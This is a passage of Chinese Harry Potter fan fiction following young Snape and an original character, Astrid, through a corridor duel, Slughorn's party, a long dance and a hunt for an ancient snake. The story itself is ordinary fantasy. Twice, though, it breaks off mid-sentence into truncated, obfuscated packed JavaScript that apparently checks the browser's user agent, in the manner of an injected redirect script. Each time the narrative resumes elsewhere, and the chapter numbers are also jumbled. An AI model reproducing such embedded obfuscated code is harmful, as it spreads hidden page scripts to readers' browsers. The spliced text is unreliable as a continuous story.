帕金森站在一旁,不怀好意的笑了一声,用一种讨论般的语气开口:“里奥,你说咱们该怎么教训这个泥巴种?是用倒挂金钟把她挂在塔楼上示众,还是用锁腿咒让她从楼梯上滚下去?” 斯内普瞬间抽出魔杖,杖尖直指帕金森,动作快得像一道黑色的闪电:“道歉。” 里奥发出一声嗤笑,他上前一步,挡在帕金森前面,眼睛肆无忌惮地打量着斯内普,语气里满是居高临下的警告:“斯内普,我劝你少管闲事。这个泥巴种跟你有什么关系?为了一个格兰芬多得罪我们,你觉得划算吗?”他露出一个意味深长的笑容,“别忘了,你是什么背景,我又是什么背景。” 帕金森在后面阴阳怪气地补充:“就是,斯内普,你一个混血,别以为在魔药课上得了几个O就能跟我们平起平坐了。让开,今晚没你的事。” 斯内普的魔杖依旧稳稳地指着对面两人,眼神毫无波动,语气依旧冷得像冬夜的寒风:“我是否多管闲事,不需要你来指导。至于背景——”他露出一抹假笑,“如果你所谓的背景就是靠家族的名头给自己壮胆,那我很遗憾地告诉你,你那点可怜的底牌在我眼里什么都不是。现在,道歉。” 阿斯特丽德此时才开口,她不紧不慢地上前一步,正好站在斯内普身侧,嘴角挂着一个似笑非笑的弧度:“你们几个身在斯莱特林,却不知道泥土对蛇类的重要性,这让我很意外。”她脸上的笑容更深了几分,透着一种近乎真诚的困惑,“一个有良好泥土环境的栖息地,对蛇类来说是多么重要——那可是它们赖以生存的根本。怎么,你们连这点常识都没有?” 她的目光落在对面表情逐渐僵硬的男生脸上:“你们认为‘泥土’是个脏东西。可如果泥土这么脏,你们的学院图腾——那条蛇——岂不是应该第一个嫌弃自己?你们这是在侮辱斯莱特林,还是在侮辱你们自己?” 斯内普古怪又意外地看了她一眼,但他没有说什么,只是继续用魔杖指着对面,语气依旧冷硬:“道歉。” 里奥等人当然不会道歉。他们相互对视一眼,然后几乎是同时举起魔杖——各种颜色的咒语从杖尖激射而出,直朝阿斯特丽德招呼过去。 斯内普的动作很快,先是用一个干脆利落的铁甲咒,给自己和阿斯特丽德套上了透明的防护罩,然后挥动魔杖,一道道咒语从他杖尖射出,精准地拦截住对面的攻击。他的魔杖挥舞得密不透风,每一个咒语都恰到好处,逼得对面三个人连连后退。 阿斯特丽德蹙眉看着,即便斯内普占据上风,以一敌三也着实是辛苦。那些咒语你来我往,在狭窄的走廊里交织成一张光怪陆离的网,撞击在墙壁上留下一个个焦黑的印记。她收回目光,飞快地从魔杖挂链上又扯下几颗珍珠——那里面掺着的粉末,是她专门用来对付这种场面的。 在斯内普再次挥动魔杖的瞬间,她将珍珠抛了出去。 那些珍珠正好撞上斯内普甩出去的几道咒语,被击碎的瞬间,里面的粉末如烟似雾地飘散开来,被咒语带起的风卷向对面三人。那些粉末混合着咒语的威力,落在每个人的伤口处。那些原本只是擦伤或灼伤的地方,立即激起细密滚烫的白沫,伤口以肉眼可见的速度迅速深化、扩大,疼得三人倒抽一口冷气,手上的动作都慢了许多。 斯内普抓住这个机会,一个干脆利落的缴械咒把里奥的魔杖击飞,然后瞬间欺身上前,魔杖抵住了帕金森的脖子,“道歉。” 帕金森的脸色惨白,眼里满是恐惧。他被那根魔杖逼得动弹不得,终于不情不愿地开口,声音含糊得像是在嚼着什么难以下咽的东西:“对……对不起。” 斯内普的魔杖依旧抵在他脖子上,眼里没有任何温度。 “对不起。”帕金森又重复了一遍,这一次声音大了些,但语气里满是不甘和怨毒,“行了吧?” 斯内普这才缓缓收回魔杖,眼睛扫过对面三个人:“下次再让我看见你们堵人,就不会这么客气了。” 里奥捂着伤口,恶狠狠地瞪了两人一眼,眼神里燃烧着压抑的怒火和仇恨。他冲帕金森他们挥了挥手,三个人相互搀扶着,一瘸一拐地往校医院的方向走去。 待几人的脚步声消失在走廊尽头,阿斯特丽德看着斯内普阴沉沉的表情,摸了摸鼻子,露出一个试探的笑容:“呃……合作愉快?” 斯内普转过头来看着她,满脸写着“你是不是想气死我”。他微微眯起眼睛:“你管这叫合作?” 他的目光落在她手里那几颗还没用完的珍珠上:“虽然手法粗糙,效果倒是出乎意料。”他又看了她一眼,“只是下次再干这种事之前,能不能先跟我打个招呼?至少让我知道你会扔出什么鬼东西——万一那粉末飘到我脸上,今晚躺进医疗翼的就是我们俩了。” 他说完,转身继续往楼梯上走:“跟上。” 阿斯特丽德连忙跟上去,两人一路沉默着穿过那些昏暗的走廊,登上几道不断变幻方向的楼梯,最终来到格兰芬多塔楼入口处。胖夫人此刻正坐在画框里,对着一面小镜子给自己戴着卷发筒。她听到脚步声,从镜子上方瞟了一眼,目光在斯内普和阿斯特丽德身上打了个转,眼神里明明白白地写着一股八卦的意味——哦?你小子上学期末才扬言要睡在这儿等莉莉·伊万斯出来,现在就送别的女生回宿舍了?你就这么喜欢我们格兰芬多的姑娘吗? 斯内普假装没看见那道意味深长的目光,他甚至连眼皮都没抬一下,只是转身面向阿斯特丽德:“我知道你不在乎那个称呼——你从来没在乎过别人怎么看你。但即便你不在乎,也要拿出严正的态度来。”他的眼睛紧紧盯着她,“你的不在乎,在某些人眼里就是软弱、好欺负和不敢反抗。他们会把你的不在意当成默许,然后变本加厉,直到有一天,事情发展到你无法挽回的地步。到那时,你再想反击,可能已经来不及了。” 阿斯特丽德听着他说完,思绪却飘向了很久以前——那个八岁的、蜘蛛尾巷常见的灰蒙蒙的下午。她揉着发酸的肩膀,看着那几个经常欺负他们的蠢货惨叫着出现在学校的烟囱顶上,挤成一团哇哇大哭。 她看着他的眼睛,那双漆黑的眼睛此刻正映着走廊里火把摇曳的光。她悠悠地开口,语气里带着恍然的笃定:“所以……你那时候帮我,把那几个蠢货变到烟囱上,也是出于这个原因?” 因为觉得她打不过也反抗不了,所以出手帮忙,以免那些人变本加厉地欺负她。 她的嘴角慢慢弯起一个温暖的弧度:“你的确是心善的巫师先生。” 斯内普眸光一闪,然后别开脸,目光落在走廊那头正优雅地蹲守在某个刷怪点附近的洛丽丝夫人身上,那只黄眼睛的猫正用审视犯人的目光打量着这边。他的声音依旧平淡:“毕竟你是我的同桌。” 阿斯特丽德歪了歪头:“那如果你不是巫师呢?还会帮我吗?” 她很好奇——如果没有那些能力,他在自顾不暇的情况下,还会帮助她吗? 斯内普的目光从洛丽丝夫人身上收回来,又重新落在她脸上:“我说过了,你是我的同桌。” 所以无论如何,不管他是什么样子,他都会帮她的。 “看在那些脆面包片的份上,也会的。”他最终这样说。 等阿斯特丽德的身影消失在通道尽头后,胖夫人的画像又缓缓转回来,重新合拢。 斯内普站正准备转身离开,就听见胖夫人终于忍不住开口了。她一边调整着头上的卷发筒,一边用一种过来人的语气慢悠悠地说:“我得说,斯内普先生,那姑娘的审美一向不错——你看她挑的那些亮闪闪的小玩意儿,虽然花哨,但确实有自己的风格。不过在挑男人的眼光上嘛……”她拖长了调子,那双画出来的眼睛里闪烁着促狭的光芒,“还是稚嫩了一点。不过我倒是好奇,你什么时候改了主意?我可是在这幅画框里看了你五年,你每次等在这儿的时候,等的可都是另一位姑娘。” 斯内普的脚步顿住,转过身看向那幅画像。他并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莉莉沉默了一会儿才开口,那双碧绿的眼眸定定地看着阿斯特丽德,语气很认真,充满告诫的意味:“阿斯塔,这件事是不对的。对于不对的事情,就要拿出态度反击——不能忍,不能让他们觉得你好欺负。” 阿斯特丽德点了点头,目光在莉莉脸上停留了片刻,才继续说道:“不过后来我遇到了斯内普,他恰好听到了那些话。他很生气,让那三个人跟我道歉。” 她的语速又慢了几分,像是在斟酌着措辞:“他告诉我,泥巴种是很不好的词,是很严重的侮辱。而且他说……他曾经也说过那样的话,他至今都很后悔。” 莉莉的表情僵了一瞬。她似乎有些恍惚,眉头微微蹙起,像是在回忆什么久远的、不愿触碰的东西。半晌后她才开口,语气有些生硬:“他帮你,是对的。很高兴他能意识到这一点。” 阿斯特丽德盯着她的表情看了片刻,然后点了点头,没有再继续这个话题,而是转向艾丽斯,语气轻快起来:“对了,艾丽斯,你知道巫师界有哪些靠谱的邮购商店吗?我需要订购一些饰品——在比较正式的场合使用的。” 艾丽斯来自巫师家庭,对这方面的门路自然比莉莉和玛丽清楚得多。她立刻从旁边抽出一张空白的羊皮纸,一边想一边写,嘴里还念念有词:“嗯……如果你想买正式场合用的饰品,可以去风雅牌巫师服装店看看,他们在对角巷和霍格莫德都有实体店,也可以邮购——地址是……还有一家叫饰品与珍奇,专门做各种配饰的,价格比风雅牌便宜一些,但质量也不差……” 她足足写了半张羊皮纸,上面密密麻麻地罗列着店名、地址、联系方式,甚至还有招牌品类和价格区间,贴心得让人感动。写完之后,她把那张羊皮纸递给阿斯特丽德,笑着说:“这些我都买过,或者听我妈妈提起过,应该都靠谱。你看中了什么,可以先邮购样品看看。” 阿斯特丽德接过那张羊皮纸,看着上面工整的字迹。片刻后她张开双臂,给了艾丽斯一个大大的拥抱:“谢谢你,艾丽斯,你真是太好了。” 艾丽斯被抱得有点不好意思,但还是笑着拍了拍她的背。 阿斯特丽德又借用了艾丽斯的猫头鹰——那是一只灰林鸮,看起来比格丽靠谱许多——然后才赶紧回到自己的寝室,扑到床上开始翻看那张羊皮纸,琢磨着该给斯内普挑一个什么样的领结。 黑色经典款?会不会太沉闷? 暗纹款?会不会太老气? 带点银丝的那种?会不会太花哨? 她在床上翻来覆去地纠结着,手里的羽毛笔在那张羊皮纸上划来划去,时不时在某个店名后面画个圈,又划掉,再画另一个圈。窗外的夜风吹动着窗帘,远处传来猫头鹰偶尔的鸣叫,整个城堡沉浸在深沉的夜色里。 她看着那些勾勾画画,脑子里不由自主地浮现出今晚走廊上那一幕——瘦高挺拔的身影以一敌三,魔杖挥舞得密不透风。 她翻了个身,把脸埋进枕头里,安静了一会儿。 直到呼吸不畅,她才抬起头,手里的羽毛笔在那张羊皮纸上继续戳来戳去,最后终于停在一家叫做“银蛇饰坊”的店名上。那家店专门做各种领饰,招牌上写着“纯银格调,优雅之选”,价格虽然贵了点,但据说每一件都是手工制作,独一无二。 她盯着那个店名看了好一会儿,然后爬起来从抽屉里翻出一张空白的羊皮纸,开始认真地写订购信。 她写着写着,嘴角又忍不住弯起来。 纯银格调,优雅之选——这应该很配他明晚那身新袍子吧? 39. 那支不算,再来 36. 第二天中午,斯内普正在斯莱特林长桌上对付一块烤得恰到好处的牛排,忽然感觉有什么东西砸在了他的肩膀上——那是一只灰林鸮,体型不小,爪子一松,一个包裹准确无误地落在他面前的餐盘旁边,然后它傲慢地瞥了他一眼,扑棱着翅膀飞走了。 那包裹落下的动静不小,惹得旁边的穆尔塞伯和埃弗里都侧目看了一眼。 斯内普放下餐叉,拿起那个包裹端详了片刻。包裹扎得严严实实,上面没有寄件人的名字,但那颇为复古的字迹他一眼就认出来了。能把字母写得这么有个人风格的,整个霍格沃茨找不出第二个。 他拆开包裹,里面是两样东西。 第一件是黑色磨砂款的魔杖壳,材质摸起来细腻温润,尺寸刚好能套进他那根常用的魔杖。尾端竖着两个小小的、弯弯的尖角,杖柄的位置还画着一张坏笑的蝙蝠脸,它的表情怎么看怎么眼熟。尖尖的嘴角微微上扬,带着一种欠揍的、似笑非笑的弧度。 他盯着那张脸看了两秒,嘴角微微抽了抽。 第二个是一个精致的丝绒盒子。打开后,里面静静躺着一个领结——暗夜绿的底色,丝绸质地泛着柔和的光泽,上面盘着一条袖珍的纯银小蛇,蛇的鳞片上还有细致的羽毛纹路,蛇头的瞳孔处镶嵌着两粒极小的暗夜绿宝石,在光线下闪烁着幽深的光芒,正用一种高冷的姿态盯着他,仿佛在说“你配得上我吗”。盒子里还躺着一枚搭配的领结针,同样是纯银质地,被打造成蛇尾的形状,尾端微微卷起,鳞片纹路清晰可见。 斯内普的目光在那条小蛇身上停留了很久,然后他下意识地抬起头,往格兰芬多长桌的方向看去。 那边,阿斯特丽德从第一只猫头鹰飞进礼堂开始就在留意斯莱特林长桌的动静。她手里举着一杯南瓜汁,假装在喝,眼睛却一直往那边瞟。对上他的目光后,她眼睛弯了起来,冲他挑了挑眉,嘴唇无声地动了动。 “很配你。” 斯内普不着痕迹地点了点头,然后才将那个丝绒盒子连同魔杖壳一起收好,放进了校袍的口袋里。阿斯特丽德满意地低下头,继续喝她的南瓜汁,心情愉悦。 从下午四点开始,格兰芬多的某间女生寝室里就进入了一级战备状态。 阿斯特丽德推门进去的时候,看到莉莉正坐在梳妆台前,玛丽站在她身后,手里举着一瓶发胶,正小心翼翼地往她那一头红发上喷,空气中弥漫着一股淡淡的定型喷雾的味道。莉莉的头发被梳成一个优雅的发髻,几缕碎发垂在耳侧,衬得她那双绿眼睛愈发清亮。 艾丽斯则站在穿衣镜前,手里拿着一把刷子,正对着镜子扫高光。她穿着一件淡紫色的礼裙,裙摆上缀着细碎的银丝,在灯光下闪闪发亮。脸上已经化好了精致的妆容,眼下正在做最后的修饰。她从镜子里看了阿斯特丽德一眼,飞快地说了句“嗨”,然后又继续专注于自己的高光。 玛丽也抽空冲她点了点头,手里的发胶喷个不停:“嗨,阿斯塔——你觉得莉莉这个发髻怎么样?左边要不要再松一点?” 阿斯特丽德靠在门框上,笑呵呵地看了一会儿,开口问道:“需要我帮你们带饭吗?毕竟你们这副样子,不太适合去礼堂用餐——万一被哪个恶作剧误伤,或者只是沾上点食物的味道,都不太划算。” 艾丽斯闻言转过头来,真诚地说:“那太好了,阿斯塔,你真是救星——我们正愁这个呢。请帮我带一份烤鸡腿,不要土豆泥,换成烤蔬菜,谢谢!” 莉莉也从镜子那边传来声音:“我要一份牧羊人派,谢谢阿斯塔!” 玛丽连忙补充:“还有我!随便什么都行,我不挑!” 阿斯特丽德一摆手,动作潇洒:“不用谢,等着吧。”说完她就脚步轻快地离开了,留下那三个女生继续在寝室里折腾。 礼堂里,晚餐时分的喧嚣一如既往。斯内普仍旧穿着校袍,正坐在斯莱特林长桌靠中间的位置,以一种让人怀疑他到底有没有在品尝的速度快速解决着面前的烤鸡腿和炖菜。他刚咽下去一口,正准备再切一块鸡肉,就听见背后传来熟悉的、带着笑意的声音。 “记得用蓬松发粉。” 他回过头,看见阿斯特丽德正站在身后,怀里抱着一个鼓鼓囊囊的纸袋,里面装满了从各种食物——烤鸡腿、约克郡布丁、几块馅饼、还有一份看起来像是特意多要的炖菜。而她正盯着他的头发,用一种“我这是为了你好”的郑重语气快速叮嘱着:“不只是为了你的个人形象,西弗勒斯,这还是A.S品牌的软广展示机会。你想啊,等会儿你去晚宴,头发蓬松有型,那些女生肯定会问你怎么做到的——到时候你就可以随口提一句‘哦,那个啊,A.S的新品’。这就叫场景营销,你滴明白?” 斯内普干巴巴地点了点头,目光从她的脸上下移到她的衣着上——她穿着一件普通的麻瓜款毛衣,配着一条半身裙,外面套着那件格兰芬多的校袍,看起来就像刚从图书馆出来顺路吃饭的学生。他的目光在她身上上下打量了一圈,然后开口,语气里带着少见的迟疑:“你……” “嗯?” “你打算就这样去晚宴吗?” 阿斯特丽德低头看了看自己,然后抬起头,一脸无所谓:“对啊,我是去推销产品的,穿什么有什么关系?”她耸了耸肩,姿态很是洒脱,“而且我的衣服都是麻瓜日常款,还不如就穿校袍呢——省得被人阴阳怪气地说什么‘麻瓜品味’之类的话。” 斯内普微微点了点头,只是又看了她一眼,然后就转回头继续吃他的晚餐。 阿斯特丽德则抱着那个纸袋,一溜烟跑回了格兰芬多寝室,把食物交给那几个还在折腾的姑娘。 七点四十五分,魔药办公室的门前已经聚集了不少穿着正式的学生——那些被斯拉格霍恩教授青睐的“有前途的人”们,三三两两地往里走,空气中弥漫着香水味和压低的交谈声。 这间办公室显然被施展了无痕伸展咒——原本狭长的房间此刻宽敞得像个小型宴会厅,被巧妙地划分为三个区域:入口处是接待区,摆着几张铺了墨绿色丝绒桌布的小圆桌,上面放着托盘和签到簿;往里走是宴会区,一张长条桌上摆满了各色食物——烤火鸡、火腿、各色馅饼、手指三明治,还有堆成小山的泡芙和蛋糕;最里面的角落是舞台区,摆着一架钢琴和几个乐谱架,几个穿着长袍的巫师正在调试乐器。 天花板上悬着几十盏漂浮的蜡烛,把整个空间照得如同白昼。墙壁上挂着斯莱特林银绿色的挂毯,并不十分张扬。角落里还摆着几棵被施了魔法的棕榈树,枝叶随着音乐的节奏轻轻摆动。 斯内普站在靠近接待区的一个角落,手里端着一杯没有酒精的起泡苹果汁,姿态从容。他穿着一件剪裁考究的黑色巫师袍,领口系着今天新收到的暗夜绿领结。那条纯银小蛇在烛光下闪烁着幽微的光芒,衬得他多了几分平日里罕见的生动。他的头发比平时蓬松了一些,显然是用过了那款据说有“场景营销”价值的蓬松发粉。他正若有若无地扫向门口的方向,像是在等什么人。 七点五十分,魔药办公室的门再次打开了。 这次进来的有三个人——艾丽斯、莉莉,还有…… 斯内普的目光定在那。 阿斯特丽德穿着一身银白色的礼裙,头发被盘成一个优雅的低髻,露出修长的脖颈。礼裙的材质轻盈得像月光织成,随着她的步伐泛起细微的涟漪,裙摆上点缀着细碎的亮片,闪烁着星星点点的光芒。她的手里拿着一个小小的手包,看起来有些眼熟,似乎是她平时装样品用的那个。手包此刻被一条银色的丝巾裹着,显得精致了不少。 她站在门口,目光扫过整个宴会厅,然后一眼就看见了角落里的他。面对他那毫不掩饰的讶异表情,她微微扬了扬下巴,动作里带着“没想到吧”的得意。 原本她是打算就穿校袍来的——毛衣配半身裙,外面套着格兰芬多的校袍,朴素得像个来蹭饭的。但是艾丽斯一看她抱着那个装满样品的手包,跟着她们一起往地窖方向走,就多问了一句,这才得知阿斯特丽德今晚也被邀请了,并且还要做品牌推广。艾丽斯二话不说就把她拉回了寝室,让她试了几件自己的礼裙,最后选中了这件银白色的,然后用咒语飞快地调整到合适的尺寸,又帮她把头发盘起来,这才有了眼前这个焕然一新的阿斯特丽德。 斯内普看着她朝自己款款走来,目光一直落在她身上,从她盘起的发髻到她礼裙的裙摆,等她走到近前,他才开口:“一位盛装打扮的推销员?” 阿斯特丽德笑盈盈的,眼睛弯成两道月牙:“艾丽斯独家赞助。她说没有任何一个品牌大使会灰头土脸地出席重要场合,尤其这还关乎品牌前景。想想吧,如果A.S的创始人穿着校袍去谈生意,那些纯血夫人怎么可能会相信她真的懂什么叫‘优雅’?” 斯内普的嘴角微微勾起一个弧度,眼神在她身上又停留了片刻,然后才慢悠悠地开口:“艾丽斯小姐对A.S品牌形象的重视程度,似乎比你这个创始人还要高出几个身位。建议你考虑聘请她当品牌顾问,至少她能确保你不会穿着麻瓜外套出现在《巫师周刊》的社交版面上。” 说完,他微微侧身,用下巴朝宴会厅深处的方向示意了一下,那里斯拉格霍恩教授正被几个学生围着,笑得像个慈祥的海象:“走吧,趁教授还没被那帮人彻底缠住,我们先去把正事办了。” 接下来的十几分钟里,斯拉格霍恩展现出了他作为一个资深人脉专家的全部功力。他在两人和几位上了年纪的女巫之间游刃有余地周旋,一边夸赞斯内普的魔药天赋,一边介绍阿斯特丽德的品牌理念,时不时还插几句关于“年轻一代的创造力真是令人惊叹”之类的场面话。那几个女巫原本只是礼貌性地听着,但当阿斯特丽德打开手包,拿出几个精致的小瓶子递过去时,她们的眼神明显亮了起来。 等那几个女巫拿着试用品心满意足地离开,角落里的钢琴恰好响了起来——一首舒缓的华尔兹。几对年轻人开始往舞池那边移动。 斯拉格霍恩教授满面慈和地看着他们,笑呵呵地说:“去吧去吧,年轻人就该多活动活动。正事谈完了,剩下的时间属于你们自己。” 阿斯特丽德侧眸看向斯内普:“有兴趣检验一下咱们的练习成果吗,巫师先生?” 斯内普微微挑眉,语气十分坦然:“当然。” 然后他微微欠身,右手优雅地伸出,左手背在身后,做了一个标准的、无可挑剔的邀请姿势,但目光却一直落在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她抬起头,语气里带着不满:“您很想换舞伴吗?巫师先生。毕竟跟我跳了这么一会儿,就已经出了这么多状况。” 斯内普带着她转了个圈,避开又一对从身边经过的舞伴,然后低下头,嘴角勾起一个假惺惺的笑容,语气低柔得像是某种危险的暗示:“那你为什么不主动更换舞伴?” 阿斯特丽德刚要张口,他就慢悠悠地继续补充:“我刚才只是在想,总不能让一个格兰芬多独自在舞池里横冲直撞,对在场的其他人来说,太危险了。” 阿斯特丽德瞪着他:“那你为什么总要撞人?明明是你带的方向。” “是你,杜兰特。”斯内普假笑着,语气低柔得近乎耳语,每一个字都在她耳边轻轻擦过,“是你阻碍了我的视线。” 阿斯特丽德愣了一下,茫然地瞪大眼睛:“那我蹲着跟您跳?” 斯内普的嘴角微微抽了抽,他叹了口气:“鉴于刚才那两次意外严重影响了我的舞感,我申请重新跳一次——就从第一支舞开始。这一次,我希望你能用语言而不是脚来表达你的想法。” 阿斯特丽德冷哼一声,她毫不犹豫地点头应承下来:“行,来就来。” 于是,他们重新开始。 一曲结束,又一曲开始。 “刚才那支不算,旋转的角度不对,应该再往左偏二十度,重来一次。” “好吧。” 又一曲结束,再一曲开始。 “这支也不算——你刚才踩我的那脚太疼了,影响了我的发挥。” “……行吧。” 再一曲结束,再再一曲开始。 “你刚才数拍子数错了,这首是三拍子的华尔兹,不是四拍子,重来”。 “……错了吗?” 第不知道多少曲结束,新的一曲又开始。 “这支——” “你又有什么理由?” 斯内普低下头,眼里满是真诚:“刚才那对舞伴的香水味太重了,熏得我头晕,注意力无法集中。” 阿斯特丽德盯着他看了一会儿,表情里写满了“你是不是在逗我”的怀疑,但最后还是点了点头:“最后一次。” 结果当然不是最后一次。 他的理由非常离谱——“你刚才笑了一下,影响了我的节奏”。 阿斯特丽德一遍又一遍地随着他旋转,整个人都快转晕了。她甚至不由得分神想:她当年盘尾巴都没盘过这么多圈。 银白色的裙摆在舞池里旋转,一圈又一圈,像是被什么无形的力量牵引着,怎么也停不下来。 而斯内普呢? 他一边带着她在舞池里游弋,一边寻着机会故意制造点小意外——一个略微用力的拉拽;一个“不小心”踩到的脚尖;或是一个本可以轻松避开的障碍,他偏偏要带着她擦过去——然后在她抬起头瞪他时,用那种慢悠悠的、理所当然的语气说:“这得重跳。” 他的理由冠冕堂皇:总不能让他人生中第一次正式聚会,留下没有一支完美舞蹈的遗憾。 她总是很信任他,从来不会多想,不是吗? 就像她刚才完全没有听出来他的言外之意——“你阻碍了我的视线”。 因为你今晚太美了。 40. 嘶~嘶嘶~ 37. 就是因为转了太多圈,以至于阿斯特丽德现在严重怀疑自己出现了幻听——那声音像是从很远的地方飘来的,虚弱得仿佛下一秒就要断气,却带着一种诡异的、让人无法忽视的执着: “饿……好饿……哪有吃的……” “刚入学的小崽子们……一口能吃十个……” “为什么只有两只死老鼠……烦……” “我一定会是饿死的……” “可怜的老萨其马……可怜……” 萨其马。 这个名字像一道闪电劈进阿斯特丽德的脑海里,把她从华尔兹的晕眩中瞬间惊醒。 它居然还活着?而且在霍格沃茨? 她又不小心踩了斯内普一脚——这一脚踩得结结实实,准确无误地落在他的皮鞋尖上,力道之大让他的眉头都跟着跳了一下。她抬起头,对上他那双写满控诉的眼睛,那里面明明白白地写着“你是不是故意的”。 她连忙开口,语气里带着真诚的歉意和难以掩饰的急切:“哦,西弗勒斯,真的很抱歉。我想我必须离开了……但今晚跳得很尽兴,真的。” 斯内普狐疑地盯着她,目光在她脸上逡巡,像是在研究她这话里有几分真假。他的眉头微微蹙起,“确定不是因为受够了我那些破理由,打算找个借口逃离这个被你踩了整整一晚上的倒霉蛋?” 阿斯特丽德连忙摇头,动作快得像是在甩掉什么脏东西:“怎么会呢?西弗勒斯,我很享受今晚美妙的时光,以及那些——”她顿住话头,眼睛忽然微微眯起,像是捕捉到了什么关键的漏洞,直直地盯着斯内普,“你刚刚说……那些‘破理由’?” “你终于承认了!你就是故意找茬,然后拉着我不停转圈!”阿斯特丽德毫不留情地揭穿。 斯内普面对她的质问,微微挑起一边眉毛,用一种“你在说什么我完全听不懂”的坦然姿态看着她,巧妙地绕过了她的指控,转而问道:“你究竟有什么急事?值得你在舞曲正酣的时候抛下你的舞伴,匆匆离开?” 阿斯特丽德半垂下眼帘,斟酌着该怎么回答。片刻后她抬起头:“如果我不告诉你,你也会根据追踪咒找过去,是吗?” 斯内普这次很坦诚:“那取决于你这项小活动的危险性。而我猜……”他的眼睛微微眯起,“它并不属于常规冒险的范畴。” 阿斯特丽德无奈地耸了耸肩,然后提起裙摆,冲他露出一个神秘的笑容:“那么在冒险之前,还请你换身方便行动的衣服,并且准备一副墨镜。” 斯内普的眉毛挑得更高了。 在他困惑的眼神中,阿斯特丽德转身朝门口走去,“十分钟后,礼堂门口见。” 十分钟后,阿斯特丽德换回了她那身二手校袍,怀里抱着一大袋刚从厨房搜罗来的食物——面包、馅饼、烤鸡腿、还有几个苹果,塞得满满当当,袋子都快撑破了。她站在礼堂门口,看到斯内普从走廊那头走来,他已经换下了正式的巫师袍,重新穿上了平时的黑色校袍,手里拎着一副看起来颇有些年头的旧墨镜。 “为什么需要这个?”他走到她面前,把那副墨镜举到眼前端详了一下,语气里满是困惑——那是他向埃弗里借来的,面对舍友“你大晚上要墨镜干什么”的疑问,他自己也解释不清为什么要在这个时间点戴墨镜。 “呃……一会儿你会明白的。”阿斯特丽德从他手里拿过那副墨镜,另一只手从口袋里掏出一卷深色的贴膜——那是她从麻瓜世界带来的防窥车膜,本来是想贴窗户的。她动作迅速地把贴膜剪成合适的形状,仔细地贴在镜片上,确保每一个气泡都被抚平。贴完之后,她把墨镜递还给他,嘱咐道:“一定要戴好它,无论遇到什么情况,都不要摘下来。” 斯内普垂眸看着她一系列操作,脸上的困惑更深了。他接过那副被改造好的墨镜,在手里转了一圈,然后抬起眼看她,语气里有微妙的质疑:“你知道万圣节已经过了,而愚人节还没到,对吗?” “哦,是的,我确定自己知道。”阿斯特丽德笑着从自己衣兜里也拿出一副同样贴了膜的墨镜,在手里晃了晃,那副墨镜镜片乌黑,看起来比他这副还要神秘几分,“我也有。” 在斯内普“姑且相信你”的眼神中,阿斯特丽德开始了她的行动。 她贴着墙根走,脑袋微微侧着,仔细捕捉着那些声音。她并不确定萨其马被关在了何处,因此只能靠着那些断断续续飘过来的声音,一点一点地摸索方向。那些声音时强时弱,有时候像是在耳边,有时候又像是从很远的地方传来,她只能凭着感觉在城堡里绕来绕去。 斯内普跟在她身后一段距离,打量着她那诡异的行进方式。在转到第一层楼梯上后,他终于忍不住开口:“你是在跟墙壁进行某种深度的灵魂交流吗?还是说,你忽然发现自己其实是一只变异的爬行类动物,需要贴着墙面才能找到回家的路?” 阿斯特丽德保持着趴在墙壁上的姿势,回头冲他比了个“嘘”的手势,然后她又把脸贴回墙上,目光偶尔扫过头顶的天花板。 如果萨其马顺利长大了,那此时应该有十五米长。一条十五米长的蛇,会被藏在城堡哪里呢? 除了在必要情况下用来帮助小巫师们对抗教廷搜查的有求必应屋,城堡里还有什么她不知道的区域吗? 当初萨其马刚破壳不久,拖着那小小的、稚嫩的身子误闯进她的栖息地。她见它懵懂可怜,便收留在麾下,教它如何在这片危险的森林里生存。可谁知那个小家伙特别惧怕公鸡的叫声,每次听到鸡叫就会缩成一团瑟瑟发抖。而且它瞪谁谁完蛋,那种与生俱来的能力强大却无法控制。这样的脆皮法攻,在战场上是很尴尬的。一方面,它很有可能无差别攻击,造成己方误伤;另一方面,敌人只要弄几只公鸡列阵在前,完蛋的就是萨其马了。 所以,阿斯特丽德将尚且年幼的它交给了萨拉查,拜托他代为照顾,给他找个安全的、没有公鸡的地方。 她原本以为萨拉查会给它找个合适的栖息地——或许是在禁林深处,或许是在某个隐秘的山谷——却没想到在城堡里再次听见它苍老又怨念的声音。 是啊,它都近一千岁了,已经走到了生命的尽头。 两人终于沿着墙壁绕到了一个让斯内普停下脚步的地方。他瞪着墙壁上那个醒目的标志牌,上面的字让他怀疑自己是不是不该加入这场荒诞的冒险——“女生盥洗室”。而且还是著名的、住着桃金娘的那间。 “这就是你匆匆离开晚宴的理由?”他的声音干巴巴的,“一个必须赶在今晚去解决的……” 阿斯特丽德从他的语气里听出了那个被他生生咽回去的词——“私人问题”。她冲他露出一个神秘的笑容,拽着他的袖子就往里走:“相信我,西弗勒斯,保证不会让你失望的。” 斯内普被她拽着走进那间盥洗室,脸上的表情活像吞了一只死苍蝇。他站在洗手池那边,尽量把自己隐藏在阴影里,一言不发地看着她在那一排隔间前挨个敲门。 “有人吗?我进来喽?” 没有人回应。 她敲到倒数第二间的时候,门板忽然被什么东西从里面顶开了。那是一个戴着眼镜的圆脸幽灵,浑身银白,半透明,漂浮在半空中,用一双幽怨的眼睛瞪着这个骚扰了她清净的女生。 “你在做什么?没礼貌的家伙。”桃金娘的声音尖细,显然很不满。 阿斯特丽德仰望着她,脸上带着真诚的歉意:“哦,抱歉。我没意识到你正在冥想。” 桃金娘抽抽搭搭地哭起来,哭声在空荡荡的盥洗室里回荡,显得格外诡异:“那不是冥想,而是我在回忆过去——像你这样的女生永远也不会明白,被逼到厕所里哭是什么滋味。” 